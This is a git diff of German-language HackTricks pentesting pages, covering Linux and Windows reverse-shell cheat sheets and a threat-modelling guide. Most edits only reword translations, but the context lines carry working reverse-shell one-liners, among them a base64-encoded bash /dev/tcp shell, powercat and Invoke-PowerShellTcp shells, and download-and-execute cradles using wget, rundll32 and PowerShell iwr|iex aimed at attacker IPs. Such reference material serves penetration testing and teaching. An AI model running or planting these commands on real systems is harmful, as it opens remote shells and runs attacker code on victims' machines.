Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Wenn du Fragen zu einer dieser Shells hast, kannst du sie bei** [**https://explainshell.com/**](https://explainshell.com) **überprüfen.**
|
||||
**Wenn du Fragen zu einer dieser Shells hast, kannst du sie auf** [**https://explainshell.com/**](https://explainshell.com) **überprüfen.**
|
||||
|
||||
## Vollständiges TTY
|
||||
|
||||
**Sobald du eine Reverse-Shell erhältst**[ **lies diese Seite, um ein vollständiges TTY zu erhalten**](full-ttys.md)**.**
|
||||
**Sobald du eine Reverse-Shell erhältst,** [**lies diese Seite, um ein vollständiges TTY zu erhalten**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -56,10 +48,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
#### Shell-Erklärung
|
||||
|
||||
1. **`bash -i`**: Dieser Teil des Befehls startet eine interaktive (`-i`) Bash-Shell.
|
||||
2. **`>&`**: Dieser Teil des Befehls ist eine Kurznotation für **das Umleiten von sowohl Standardausgabe** (`stdout`) als auch **Standardfehler** (`stderr`) zu **dem gleichen Ziel**.
|
||||
2. **`>&`**: Dieser Teil des Befehls ist eine Kurznotation für **das Umleiten von sowohl Standardausgabe** (`stdout`) als auch **Standardfehler** (`stderr`) an **das gleiche Ziel**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Dies ist eine spezielle Datei, die **eine TCP-Verbindung zur angegebenen IP-Adresse und dem Port** darstellt.
|
||||
* Durch **das Umleiten der Ausgabe- und Fehlerströme zu dieser Datei** sendet der Befehl effektiv die Ausgabe der interaktiven Shell-Sitzung an die Maschine des Angreifers.
|
||||
4. **`0>&1`**: Dieser Teil des Befehls **leitet die Standardeingabe (`stdin`) zum gleichen Ziel wie die Standardausgabe (`stdout`) um**.
|
||||
4. **`0>&1`**: Dieser Teil des Befehls **leitet die Standardeingabe (`stdin`) an das gleiche Ziel wie die Standardausgabe (`stdout`) um**.
|
||||
|
||||
### In Datei erstellen und ausführen
|
||||
```bash
|
||||
|
@ -68,7 +60,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Forward Shell
|
||||
|
||||
Wenn man mit einer **Remote Code Execution (RCE)**-Schwachstelle in einer Linux-basierten Webanwendung umgeht, kann das Erreichen einer Reverse Shell durch Netzwerkverteidigungen wie iptables-Regeln oder komplexe Paketfiltermechanismen behindert werden. In solchen eingeschränkten Umgebungen besteht ein alternativer Ansatz darin, eine PTY (Pseudo Terminal)-Shell einzurichten, um effektiver mit dem kompromittierten System zu interagieren.
|
||||
Wenn man es mit einer **Remote Code Execution (RCE)**-Schwachstelle in einer Linux-basierten Webanwendung zu tun hat, kann das Erreichen einer Reverse Shell durch Netzwerkverteidigungen wie iptables-Regeln oder komplexe Paketfiltermechanismen behindert werden. In solchen eingeschränkten Umgebungen besteht ein alternativer Ansatz darin, eine PTY (Pseudo Terminal)-Shell einzurichten, um effektiver mit dem kompromittierten System zu interagieren.
|
||||
|
||||
Ein empfohlenes Tool für diesen Zweck ist [toboggan](https://github.com/n3rada/toboggan.git), das die Interaktion mit der Zielumgebung vereinfacht.
|
||||
|
||||
|
@ -340,23 +332,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,17 +15,9 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows, wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux ist.\
|
||||
Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux.\
|
||||
Offensichtlich **gibt es keine SUID-Dateien oder sudo-Rechte in Windows**, aber es ist nützlich zu wissen, **wie** einige **Binaries** (miss)braucht werden können, um eine Art unerwarteter Aktionen wie **die Ausführung beliebigen Codes** durchzuführen.
|
||||
|
||||
## NC
|
||||
|
@ -198,7 +190,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
**Von Defender erkannt**
|
||||
**Von Verteidiger erkannt**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
|
@ -403,7 +395,7 @@ Im **Shells**-Ordner gibt es viele verschiedene Shells. Um Invoke-_PowerShellTcp
|
|||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
Starten Sie das Skript auf einem Webserver und führen Sie es am Ende des Opfers aus:
|
||||
Starten Sie den Dienst des Skripts auf einem Webserver und führen Sie es am Ende des Opfers aus:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
|
@ -419,11 +411,11 @@ Laden Sie es herunter, starten Sie einen Webserver, starten Sie den Listener und
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender erkennt es (noch) nicht als bösartigen Code (03.04.2019).
|
||||
Defender erkennt es (noch) nicht als bösartigen Code (3.04.2019).
|
||||
|
||||
**Weitere Optionen, die von powercat angeboten werden:**
|
||||
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, hochladen/herunterladen, Payloads generieren, Dateien bereitstellen...
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, Hochladen/Herunterladen, Payloads generieren, Dateien bereitstellen...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -483,24 +475,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-Konsole mit einigen offensi
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,48 @@
|
|||
# Bedrohungsmodellierung
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Bedrohungsmodellierung
|
||||
|
||||
Willkommen im umfassenden Leitfaden von HackTricks zur Bedrohungsmodellierung! Machen Sie sich auf eine Erkundung dieses wichtigen Aspekts der Cybersicherheit bereit, bei dem potenzielle Schwachstellen in einem System identifiziert, verstanden und strategisch bekämpft werden. Dieser Leitfaden dient als Schritt-für-Schritt-Anleitung, die mit realen Beispielen, hilfreicher Software und leicht verständlichen Erklärungen gefüllt ist. Ideal für Anfänger und erfahrene Praktiker, die ihre Cybersicherheitsverteidigung stärken möchten.
|
||||
Willkommen zu HackTricks' umfassendem Leitfaden zur Bedrohungsmodellierung! Beginnen Sie eine Erkundung dieses kritischen Aspekts der Cybersicherheit, bei dem wir potenzielle Schwachstellen in einem System identifizieren, verstehen und Strategien dagegen entwickeln. Dieser Thread dient als Schritt-für-Schritt-Anleitung, die mit realen Beispielen, hilfreicher Software und leicht verständlichen Erklärungen gefüllt ist. Ideal für sowohl Anfänger als auch erfahrene Praktiker, die ihre Cybersicherheitsverteidigung stärken möchten.
|
||||
|
||||
### Häufig verwendete Szenarien
|
||||
|
||||
1. **Softwareentwicklung**: Im Rahmen des Secure Software Development Life Cycle (SSDLC) hilft die Bedrohungsmodellierung dabei, **potenzielle Schwachstellen in den frühen Entwicklungsstadien zu identifizieren**.
|
||||
2. **Penetrationstests**: Das Penetration Testing Execution Standard (PTES) Framework erfordert die Bedrohungsmodellierung, um die **Schwachstellen des Systems zu verstehen**, bevor der Test durchgeführt wird.
|
||||
1. **Softwareentwicklung**: Im Rahmen des Secure Software Development Life Cycle (SSDLC) hilft die Bedrohungsmodellierung dabei, **potenzielle Quellen von Schwachstellen** in den frühen Phasen der Entwicklung zu identifizieren.
|
||||
2. **Penetration Testing**: Der Penetration Testing Execution Standard (PTES) erfordert **Bedrohungsmodellierung, um die Schwachstellen des Systems** vor der Durchführung des Tests zu verstehen.
|
||||
|
||||
### Bedrohungsmodell in Kürze
|
||||
|
||||
Ein Bedrohungsmodell wird typischerweise als Diagramm, Bild oder in einer anderen visuellen Darstellung dargestellt, die die geplante Architektur oder den vorhandenen Aufbau einer Anwendung zeigt. Es ähnelt einem **Datenflussdiagramm**, aber der entscheidende Unterschied liegt in seinem auf Sicherheit ausgerichteten Design.
|
||||
Ein Bedrohungsmodell wird typischerweise als Diagramm, Bild oder in einer anderen Form der visuellen Darstellung dargestellt, die die geplante Architektur oder den bestehenden Aufbau einer Anwendung zeigt. Es ähnelt einem **Datenflussdiagramm**, aber der entscheidende Unterschied liegt im sicherheitsorientierten Design.
|
||||
|
||||
Bedrohungsmodelle enthalten oft Elemente, die in Rot markiert sind und potenzielle Schwachstellen, Risiken oder Barrieren symbolisieren. Um den Prozess der Risikoerkennung zu optimieren, wird das CIA (Vertraulichkeit, Integrität, Verfügbarkeit) Triad verwendet, das die Grundlage vieler Bedrohungsmodellierungsmethoden bildet, wobei STRIDE eine der häufigsten ist. Die gewählte Methodik kann jedoch je nach spezifischem Kontext und Anforderungen variieren.
|
||||
Bedrohungsmodelle enthalten oft Elemente, die in Rot markiert sind und potenzielle Schwachstellen, Risiken oder Barrieren symbolisieren. Um den Prozess der Risikoidentifikation zu optimieren, wird das CIA (Vertraulichkeit, Integrität, Verfügbarkeit) Triad verwendet, das die Grundlage vieler Bedrohungsmodellierungsmethodologien bildet, wobei STRIDE eine der häufigsten ist. Die gewählte Methodologie kann jedoch je nach spezifischem Kontext und Anforderungen variieren.
|
||||
|
||||
### Das CIA-Triad
|
||||
|
||||
Das CIA-Triad ist ein weit verbreitetes Modell im Bereich der Informationssicherheit und steht für Vertraulichkeit, Integrität und Verfügbarkeit. Diese drei Säulen bilden die Grundlage, auf der viele Sicherheitsmaßnahmen und -richtlinien aufbauen, einschließlich Bedrohungsmodellierungsmethoden.
|
||||
Das CIA-Triad ist ein weithin anerkanntes Modell im Bereich der Informationssicherheit, das für Vertraulichkeit, Integrität und Verfügbarkeit steht. Diese drei Säulen bilden die Grundlage, auf der viele Sicherheitsmaßnahmen und -richtlinien basieren, einschließlich der Bedrohungsmodellierungsmethodologien.
|
||||
|
||||
1. **Vertraulichkeit**: Sicherstellen, dass die Daten oder das System nicht von unbefugten Personen abgerufen werden. Dies ist ein zentraler Aspekt der Sicherheit, der angemessene Zugriffskontrollen, Verschlüsselung und andere Maßnahmen erfordert, um Datenverletzungen zu verhindern.
|
||||
2. **Integrität**: Die Genauigkeit, Konsistenz und Vertrauenswürdigkeit der Daten über ihren Lebenszyklus hinweg. Dieses Prinzip stellt sicher, dass die Daten nicht von unbefugten Parteien verändert oder manipuliert werden. Es beinhaltet oft Prüfsummen, Hashing und andere Datenüberprüfungsmethoden.
|
||||
3. **Verfügbarkeit**: Dies stellt sicher, dass Daten und Dienste für autorisierte Benutzer zugänglich sind, wenn sie benötigt werden. Dies beinhaltet oft Redundanz, Ausfallsicherheit und Konfigurationen mit hoher Verfügbarkeit, um Systeme auch bei Störungen am Laufen zu halten.
|
||||
1. **Vertraulichkeit**: Sicherstellen, dass die Daten oder das System nicht von unbefugten Personen zugegriffen werden. Dies ist ein zentraler Aspekt der Sicherheit, der angemessene Zugriffskontrollen, Verschlüsselung und andere Maßnahmen erfordert, um Datenverletzungen zu verhindern.
|
||||
2. **Integrität**: Die Genauigkeit, Konsistenz und Vertrauenswürdigkeit der Daten über ihren Lebenszyklus. Dieses Prinzip stellt sicher, dass die Daten nicht von unbefugten Parteien verändert oder manipuliert werden. Es umfasst oft Prüfziffern, Hashing und andere Datenverifizierungsmethoden.
|
||||
3. **Verfügbarkeit**: Dies stellt sicher, dass Daten und Dienste für autorisierte Benutzer bei Bedarf zugänglich sind. Dies umfasst oft Redundanz, Fehlertoleranz und Hochverfügbarkeitskonfigurationen, um Systeme auch bei Störungen am Laufen zu halten.
|
||||
|
||||
### Bedrohungsmodellierungsmethoden
|
||||
### Bedrohungsmodellierungsmethodologien
|
||||
|
||||
1. **STRIDE**: Entwickelt von Microsoft, steht STRIDE für **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service und Elevation of Privilege**. Jede Kategorie repräsentiert eine Art von Bedrohung, und diese Methodik wird häufig in der Designphase eines Programms oder Systems verwendet, um potenzielle Bedrohungen zu identifizieren.
|
||||
2. **DREAD**: Dies ist eine weitere Methodik von Microsoft, die für die Risikobewertung identifizierter Bedrohungen verwendet wird. DREAD steht für **Damage potential, Reproducibility, Exploitability, Affected users und Discoverability**. Jeder dieser Faktoren wird bewertet, und das Ergebnis wird zur Priorisierung identifizierter Bedrohungen verwendet.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dies ist eine siebenstufige, **risikozentrierte** Methodik. Sie umfasst die Definition und Identifizierung von Sicherheitszielen, die Erstellung eines technischen Umfangs, die Anwendungsaufteilung, die Bedrohungsanalyse, die Schwachstellenanalyse und die Risiko-/Triage-Bewertung.
|
||||
4. **Trike**: Dies ist eine risikobasierte Methodik, die sich auf die Verteidigung von Vermögenswerten konzentriert. Sie beginnt aus einer **Risikomanagement**-Perspektive und betrachtet Bedrohungen und Schwachstellen in diesem Kontext.
|
||||
5. **VAST** (Visual, Agile und Simple Threat Modeling): Dieser Ansatz zielt darauf ab, zugänglicher zu sein und sich in agile Entwicklungsumgebungen zu integrieren. Er kombiniert Elemente aus anderen Methoden und konzentriert sich auf **visuelle Darstellungen von Bedrohungen**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset und Vulnerability Evaluation): Entwickelt vom CERT Coordination Center, ist dieses Framework auf die **organisatorische Risikobewertung anstelle spezifischer Systeme oder Software** ausgerichtet.
|
||||
1. **STRIDE**: Entwickelt von Microsoft, ist STRIDE ein Akronym für **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service und Elevation of Privilege**. Jede Kategorie stellt eine Art von Bedrohung dar, und diese Methodologie wird häufig in der Entwurfsphase eines Programms oder Systems verwendet, um potenzielle Bedrohungen zu identifizieren.
|
||||
2. **DREAD**: Dies ist eine weitere Methodologie von Microsoft, die zur Risikobewertung identifizierter Bedrohungen verwendet wird. DREAD steht für **Damage potential, Reproducibility, Exploitability, Affected users und Discoverability**. Jeder dieser Faktoren wird bewertet, und das Ergebnis wird verwendet, um identifizierte Bedrohungen zu priorisieren.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dies ist eine siebenstufige, **risikozentrierte** Methodologie. Sie umfasst die Definition und Identifizierung von Sicherheitszielen, die Erstellung eines technischen Rahmens, die Anwendungszerlegung, die Bedrohungsanalyse, die Schwachstellenanalyse und die Risiko-/Triagebewertung.
|
||||
4. **Trike**: Dies ist eine risikobasierte Methodologie, die sich auf den Schutz von Vermögenswerten konzentriert. Sie beginnt aus einer **Risikomanagement**-Perspektive und betrachtet Bedrohungen und Schwachstellen in diesem Kontext.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Dieser Ansatz zielt darauf ab, zugänglicher zu sein und in agile Entwicklungsumgebungen integriert zu werden. Er kombiniert Elemente aus den anderen Methodologien und konzentriert sich auf **visuelle Darstellungen von Bedrohungen**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Entwickelt vom CERT Coordination Center, ist dieses Framework auf **organisatorische Risikobewertung und nicht auf spezifische Systeme oder Software** ausgerichtet.
|
||||
|
||||
## Tools
|
||||
## Werkzeuge
|
||||
|
||||
Es gibt mehrere Tools und Softwarelösungen, die bei der Erstellung und Verwaltung von Bedrohungsmodellen **helfen** können. Hier sind einige, die Sie in Betracht ziehen könnten.
|
||||
Es gibt mehrere Werkzeuge und Softwarelösungen, die bei der **Erstellung** und Verwaltung von Bedrohungsmodellen helfen können. Hier sind einige, die Sie in Betracht ziehen könnten.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Ein fortschrittlicher plattformübergreifender und multifunktionaler GUI-Web-Spider/Crawler für Cybersicherheitsfachleute. Spider Suite kann für die Kartierung und Analyse der Angriffsfläche verwendet werden.
|
||||
Ein fortschrittlicher plattformübergreifender und multifunktionaler GUI-Webspider/Crawler für Cybersicherheitsprofis. Spider Suite kann zur Kartierung und Analyse der Angriffsfläche verwendet werden.
|
||||
|
||||
**Verwendung**
|
||||
|
||||
1. Wählen Sie eine URL und Crawlen Sie
|
||||
1. Wählen Sie eine URL und crawlen
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -66,7 +52,7 @@ Ein fortschrittlicher plattformübergreifender und multifunktionaler GUI-Web-Spi
|
|||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
Ein Open-Source-Projekt von OWASP, Threat Dragon ist sowohl eine Web- als auch eine Desktop-Anwendung, die Systemdiagrammierung sowie eine Regel-Engine zur automatischen Generierung von Bedrohungen/Minderungsmaßnahmen umfasst.
|
||||
Ein Open-Source-Projekt von OWASP, Threat Dragon ist sowohl eine Web- als auch eine Desktop-Anwendung, die Systemdiagrammierung sowie eine Regel-Engine zur automatischen Generierung von Bedrohungen/Minderungen umfasst.
|
||||
|
||||
**Verwendung**
|
||||
|
||||
|
@ -88,17 +74,17 @@ Manchmal könnte es so aussehen:
|
|||
|
||||
4. Erstellen Sie Ihr Modell
|
||||
|
||||
Sie können Tools wie den SpiderSuite Crawler verwenden, um Inspiration zu erhalten, ein grundlegendes Modell würde ungefähr so aussehen
|
||||
Sie können Werkzeuge wie SpiderSuite Crawler verwenden, um Inspiration zu erhalten, ein einfaches Modell könnte so aussehen
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nur eine kurze Erklärung zu den Entitäten:
|
||||
Nur eine kleine Erklärung zu den Entitäten:
|
||||
|
||||
* Prozess (Die Entität selbst wie z.B. Webserver oder Webfunktionalität)
|
||||
* Prozess (Die Entität selbst, wie Webserver oder Webfunktionalität)
|
||||
* Akteur (Eine Person wie ein Website-Besucher, Benutzer oder Administrator)
|
||||
* Datenflusslinie (Indikator für Interaktion)
|
||||
* Vertrauensgrenze (Unterschiedliche Netzwerksegmente oder Bereiche.)
|
||||
* Speichern (Dinge, an denen Daten gespeichert sind, wie Datenbanken)
|
||||
* Vertrauensgrenze (Verschiedene Netzwerksegmente oder -bereiche.)
|
||||
* Speicher (Dinge, in denen Daten gespeichert sind, wie Datenbanken)
|
||||
|
||||
5. Eine Bedrohung erstellen (Schritt 1)
|
||||
|
||||
|
@ -110,27 +96,16 @@ Jetzt können Sie die Bedrohung erstellen
|
|||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
